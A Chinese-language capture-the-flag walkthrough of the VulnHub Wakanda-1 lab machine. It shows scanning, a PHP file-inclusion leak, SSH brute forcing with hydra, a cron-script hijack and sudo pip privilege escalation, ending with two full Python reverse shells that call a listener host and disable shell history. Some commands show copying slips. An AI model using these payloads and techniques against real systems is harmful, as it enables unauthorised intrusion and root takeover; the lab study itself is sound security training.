vulnhub-Wakanda-1通过技巧
这里快速过吧,1网卡,2服务,254DNS,155kali,那只有157是靶机了
nmap 192.168.135.0/24 -sP

扫他端口发现80,111,3333,80我们常客,我们第一步就是访问它网址枚举信息,111rpc端口映射,估计又和NFS共享文件有关,3333还需要进一步扫描
nmap 192.168.135.157

啊,这个作者ssh不跑22,做了端口修改(修改监听端口属于浅层防护),改成了3333,不过没事能扫出来,隐藏才麻烦,还得枚举信息做端口敲震。
nmap 192.168.135.157 -p- -sC -sV -T5 -A

我们访问页面,点击功能也点击不了,只能先扫一下他的目录看看了。

这里我们扫出了很多目录,我们挨个枚举
dirb http://192.168.135.157

但是当我们访问admin时发现无法访问,这个又出问题了吗?

查看源码,发现提示,这里发现它跳转了。

哎?我们发现他又跳转回来了。

那我们根据提示再dirb扫描它,终于有货了,但是我们访问index时还是访问不了,500,它不是4开头,说明是存在的,我们curl它一下看看它的头。
dirb http://192.168.135.157/?lang=

这里有意思啊,200/500,php代码,?lang=的形式,打了那么多台靶这个就差直接把文件包含乎连上了。
curl -i http://10.211.55.50/?lang=fr
curl -i http://10.211.55.50/?lang=index


PHP存在四种过滤器字符串过滤器,转换过滤器,压缩过滤器,加密过滤器
转换过滤器中的base64-encode过滤器可用于通过LFI检索任意服务器文件。
也可以使用压缩过滤器中的zlib.inflate或bzip2.compress来检索服务器文件而不执行它们。
我们可以抓包,但是我跟喜欢用命令curl
curl http://192.168.135.157/?lang=php://filter/convert.base64-encode/resource=index | head -n 1 | base64 -d

这里获得了密码,但是不知道是谁的密码。其实我在前端的代码里发现了一个用户,后续爆破用户发现就是它,不过这里我还是把hydra跑一遍吧。

说用hydra,但是密码我们有了,用户字典怎么来呢,总不能GitHub上下载个百来万的字典跑到天亮吧?这里我们可以用爬虫爬取页面,做成字典。
Cewl http://192.168.135.157 / > 1.txt

字典有了,就差爆破,但是这里有个问题。老闭作者给端口做了修改,正常的22端口走不通,ssh协议爆破又是走22端口。我们可以指定端口ssh依旧不动也可以将ssh放前面爆破指定端口
hydra -L 1.txt -P 2.txt ssh://192.168.135.157:3333
hydra -L 1.txt -P 2.txt-s 3333 192.168.135.157 ssh

记得加端口,22端口是废了。我们登录发现是python命令行,这个难不倒我们。
ssh mamadou@192.168.135.157 -p 3333

发现进来的地方进错了,但是不打紧,我们只需要稍微修改一下python -c ‘import pty;pty.spawn(“/bin/bash”)’,换个姿势进入它啊,一样的。
Import pty;
Pty.spawn(“/bin/bash”)

从根目录全盘搜索所有者为 mamadou 用户的所有文件;将错误信息一并送入管道,过滤掉权限不足报错以及 /proc 目录相关结果,只展示真正搜到的属于 mamadou 的文件。
find / -user mamadou 2>&1 | grep -v "Permission denied\|proc"

我们不仅发现flag1,进入home目录还发现了devops,我们接着枚举它。
Find / -user devops 2>&1 | grep -v “Permission denied\|proc”

我们枚举关键目录时发现这里有一个可读写的py脚本

我们写入脚本内容开启监听

进入lib发现有个同名的定时任务等300秒(很烦硬控我300秒)
cat /lib/systemd/system/antivirus.service


这里我交一个技巧啊,非常省心,非常稳定的shell。(我研究了几天才出来大成版)想干嘛就干嘛,不会断ctrl+c都打不断。
Ctrl + z
stty raw -echo; fg
Reset
Export TERM=xterm


这里就是经验跟技巧了,要不是我打过一遍我都找不出来。正常来说这个都能看懂吧,但是心细的你会发现devops的属主和属组不一样??????
Cat /etc/passwd

我们接着枚举它,发现还存在一个用户developer
Cat /etc/group

那我们用新学到的技巧枚举它,我也多敲两遍一起进步>_<
grep -rn / -e devops 2>&1 | grep -v "Permission denied\|proc"

不对好长卡住了,不过我们知道他们两公用一个gid就够了。
我们就正常路径提权吧
Sudo -l

这里我们创建一个脚本也是上面那个脚本,开启监听执行sudo pip install.

执行完sudo pip install .后就能获得root权限,并且生成新目录和文件

这里手快了,应该先nc的,当我们运行sudo pip install .时自动反弹shell,过来。

拿到了flag,这个没什么好说的了。

虽然说没有什么好说的,但是我们总结一下思路吧。
我们通过扫描发现80,111,3333,dirb扫出目录访问发现会跳转并且存在文件包含漏洞,我们通过cewl爬取字典爆破出来3333(22ssh)的账号,密码在前端页面,进入后枚举出存在devops,并且存在自动脚本,我们通过反向shell获得shell,进入发现sudo提权,利用pip的sudo提权获得root权限。
连个脚本我直接给了方便一点
#!/usr/bin/python
def con():
import socket, time,pty, os
host='192.168.135.155'
port=9999
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(10)
s.connect((host,port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
con()
from setuptools import setup
def con():
import socket, time,pty, os
host='192.168.135.155'
port=9900
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(10)
s.connect((host,port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
con()
setup(name="yang", version="1.0")
浙公网安备 33010602011771号